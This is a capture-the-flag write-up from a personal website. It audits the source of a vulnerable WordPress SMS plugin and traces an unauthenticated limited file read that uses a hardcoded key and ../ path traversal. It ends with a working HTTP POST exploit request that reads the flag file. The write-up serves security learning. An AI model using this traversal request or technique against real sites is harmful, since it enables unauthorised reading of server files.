siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Texting Trouble

Table of Contents

Overview

Background

I just installed a plugin to automate sending SMS to my clients. That’s a great plugin with many options, I don’t think it could cause a security issue, right?

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

http://100.25.255.51:9092/

Enumeration

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/Patchstack-WCUS-Capture-The-Flag/Texting-Trouble)-[2024.09.22|17:47:22(HKT)]
└> file attachment.zip 
attachment.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥Mercury]-(~/ctf/Patchstack-WCUS-Capture-The-Flag/Texting-Trouble)-[2024.09.22|17:47:24(HKT)]
└> unzip attachment.zip 
Archive:  attachment.zip
  inflating: .env                    
 extracting: challenge-custom/flag.txt  
   creating: challenge-custom/jotac/
  [..]
  inflating: docker-compose.yml      
  inflating: Dockerfile              
  inflating: Makefile

After reading the source code a bit, this plugin, jotac, is kind of complex. Overall, this plugin is to automate SMS campaign, such as sending SMS messages to someone.

First off, what’s our objective in this challenge? Where’s the flag?

When we extracted the zip file, we can see that the flag file is in challenge-custom/flag.txt. Hmm… Maybe we need to somehow read the flag file or Remote Code Execution (RCE)? Let’s find out!

Due to the complexity of this plugin, it’s suggested that we should audit this plugin using the sources and sinks model to find vulnerabilities.

Whenever I review a relatively complex plugin, I’ll first search for the high/critical severity sinks, such as file upload, OS command injection. Let’s look at file upload sinks!

One of many sinks in file upload are PHP function move_uploaded_file and superglobal variable $_FILES. If we search for those in the plugin, we can find method process_upload_form from class JOTAC_Plugin_Options uses them:

final class JOTAC_Plugin_Options {
    [...]
    public function process_upload_form() {
        if (isset($_FILES['file'])) {
            // Get the file information
            $file = $_FILES['file'];
            $filename = $file['name'];
            $filetmp = $file['tmp_name'];
            
            $sanitized_filename = stripslashes($filename);
            
            $upload_dir = wp_upload_dir();
            $upload_path = $upload_dir['baseurl'];

            $moved = move_uploaded_file($filetmp, $upload_path . '/' . $sanitized_filename);
            [...]
        }   
    }
}

In here, if $_FILES has item file, it’ll move the uploaded temporary file into the WordPress upload directory (wp_upload_dir()).

At the first glance, it doesn’t have any file type validation. Maybe we can upload a PHP webshell into the upload directory? Well, no we can’t.

In WordPress function wp_upload_dir(), it returns an array of information about the upload directory. Usually the developer will use array item basedir to get the upload directory, such as path wp-content/uploads/. In this case, however, $upload_path is the array item baseurl, which is something like http://localhost/wp-content/uploads/.

Therefore, this method is completely useless, as it doesn’t even move the uploaded temporary file into the WordPress upload directory.

Since reading the flag file is a possible solution for this challenge, we should find a arbitrary file read vulnerability. There are a lots of file read sinks, including but not limited to file_get_contents, fread, fopen.

After a quick searching, we find that method send_message_callback from class JOTAC_Plugin_Messenger has file_get_contents file read sink. Let’s dive into it! However, it’s worth noting that this method’s logic is quite complex. So, bearing with me!

First, it checks the POST parameter key is equal to variable $key, which is hardcoded in class JOTAC_Plugin. As well as checking whether if the parsed POST parameter formdata string’s jotac-plugin-messages['jot-message'] is empty or not:

challenge-custom/jotac/jotac.php:

final class JOTAC_Plugin {
    [...]
    public function __construct () {
        [...]
        $this->key = '6AGmIzDZktwJCaQt';
        [...]
    }
}

challenge-custom/jotac/classes/class-jotac-plugin-messenger.php:

final class JOTAC_Plugin_Messenger {
    [...]
    public function send_message_callback() {
        $error = 0;
         
        $formdata = $_POST['formdata'];
        parse_str($formdata, $output);
        $message     = sanitize_textarea_field($output['jotac-plugin-messages']['jot-message']);
        [...]
        $mess_attachment = sanitize_text_field($output['jotac-plugin-messages']['jot-attachment']);
        [...]
        $jotseckey = sanitize_text_field($_POST['sec']);
        
        if (empty($jotseckey) || JOTAC_Plugin()->key!==$jotseckey) {
            // Bail out
            die();       
        }
        if (empty($message)) {
            // Empty message
            $error = 3;       
        }
        
        if ($error == 0) {
            [...]
        }
        [...]
    } // end send_message_callback
}

After validating our POST parameters, it checks whether if currentsmsprovider from class JOTAC_Plugin exists or not. However, it’s always existing because of the class JOTAC_Plugin constructor:

final class JOTAC_Plugin_Messenger {
    public function send_message_callback() {
        [...]
        if ($error == 0) {
            if (JOTAC_Plugin()->currentsmsprovider) {
                [...]
            }
        }
        [...]
    } // end send_message_callback
}
final class JOTAC_Plugin {
    [...]
    public function __construct () {
        [...]
        $this->smsproviders = $this->get_smsproviders();
        $this->currentsmsprovidername = 'twilio';
        [...]
        if ($this->currentsmsprovidername != 'default' && !empty($this->currentsmsprovidername)) {
            [...]
            $this->currentsmsprovider = JOTAC_Plugin_Smsprovider::instance();
        } else {
            [...]
        }
        [...]
    }
}

Then, if the parsed POST parameter formdata string has jotac-plugin-messages['jot-attachment'], it’ll validate the URI scheme is start with something like foo://. It also validates whether if the file extension of jot-attachment is in the whitelist extensions or not:

final class JOTAC_Plugin_Messenger {
    [...]
    public function send_message_callback() {
        [...]
        $formdata = $_POST['formdata'];
        parse_str($formdata, $output);
        [...]
        $mess_attachment = sanitize_text_field($output['jotac-plugin-messages']['jot-attachment']);
        [...]
        if ($error == 0) {
            if (JOTAC_Plugin()->currentsmsprovider) {
                [...]
                // Optional attachment
                if (!empty($mess_attachment)) {
                    if (preg_match('/^[a-zA-Z]+:\/\//', $mess_attachment)) {
                        $error = 6;
                        $additional_error = "Incorrect format";
                    }
                    $allowed_extensions = ['txt','png','jpg','pdf'];
                    if (!in_array(pathinfo($mess_attachment, PATHINFO_EXTENSION), $allowed_extensions)) {
                        $error = 6;
                        $additional_error = "Filetype not supported";
                    }
                    else {
                        [...]
                    }
                }
                [...]
            }
            [...]
        }
    } // end send_message_callback
}

If jot-attachment passes all the checks, it’ll first check whether if the file exists in the WordPress upload directory (This time it’s using basedir instead of baseurl). If the file exists, it reads the file’s content and stores it into variable $attachment_raw:

final class JOTAC_Plugin_Messenger {
    [...]
    public function send_message_callback() {
        [...]
        if ($error == 0) {
            if (JOTAC_Plugin()->currentsmsprovider) {
                [...]
                // Optional attachment
                if (!empty($mess_attachment)) {
                    [...]
                    if (!in_array(pathinfo($mess_attachment, PATHINFO_EXTENSION), $allowed_extensions)) {
                        [...]
                    }
                    else {
                        $wp_dir = wp_upload_dir();
                        $attachment_fp = $wp_dir['basedir'] . '/attachments/' . $mess_attachment;
                        $available_files = array_diff(scandir(dirname($attachment_fp)), array('.', '..'));
                        $existing_files = [];
                        foreach ($available_files as $f) {
                             $existing_files[] = $f;
                        }
                        
                        if (in_array(basename($attachment_fp), $existing_files)) {
                             $attachment_raw = file_get_contents($attachment_fp);
                        } else {
                             $error = 6;
                             $additional_error = "File does not exist among [".implode(', ', $existing_files)."]";
                        }
                    }
                }
                [...]
            }
            [...]
        }
    } // end send_message_callback
}

Hmm… Is there any way to read the contents of the attachment? Yes we can!

After validating and reading the file’s content, if there’s no error ($error = 0;), the file’s content is not empty, and POST parameter level is verbose, the response will have the file’s content. However, the output of the file is only 75 characters long:

final class JOTAC_Plugin_Messenger {
    [...]
    public function send_message_callback() {
        [...]
        if ($error != 0 ) {
            [...]
        }
        else {
            if ($mess_attachment == '')
            {
                [...]
            }
            else {
                if ($_POST['level'] == 'verbose') {
                    $response = array('sent'=> "true", 'attachment'=> esc_html(substr($attachment_raw, 0, 75)), 'errorcode' => $error, 'send_errors'=>$all_send_errors );
            }
                else{
                    [...]
                }
            }
        }
        
        echo json_encode($response);
        
        die(); // this is required to terminate immediately and return a proper response
    } // end send_message_callback
}

To sum up, this method send_message_callback allows us to read limited arbitrary files, with files that have extension either .txt, .png, .jpg, or .pdf.

Hmm… Since the flag file’s extension is .txt, we can leverage this vulnerability to read the flag file!

Alright, how can we call this method? Is there any AJAX action has this callback method?

Fortunately yes. There’s an unauthenticated and authenticated AJAX action called send_message that uses this callback method:

final class JOTAC_Plugin_Messenger {
    [...]
    function __construct() {
        add_action( 'wp_ajax_send_message', array( &$this, 'send_message_callback' ) );
        add_action( 'wp_ajax_nopriv_send_message', array( &$this, 'send_message_callback' ) );
        [...]
    } // end constructor
}

Exploitation

Armed with above information, we can send the following HTTP POST request to get the flag!

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 100.25.255.51:9092
Content-Type: application/x-www-form-urlencoded
Content-Length: 198

action=send_message&sec=6AGmIzDZktwJCaQt&formdata=jotac-plugin-messages%5bjot-message%5d%3danything%26jotac-plugin-messages%5bjot-attachment%5d%3d..%2f..%2f..%2f..%2f..%2f..%2fflag.txt&level=verbose

Conclusion

What we’ve learned:

  1. Limited arbitrary file read via PHP function file_get_contents()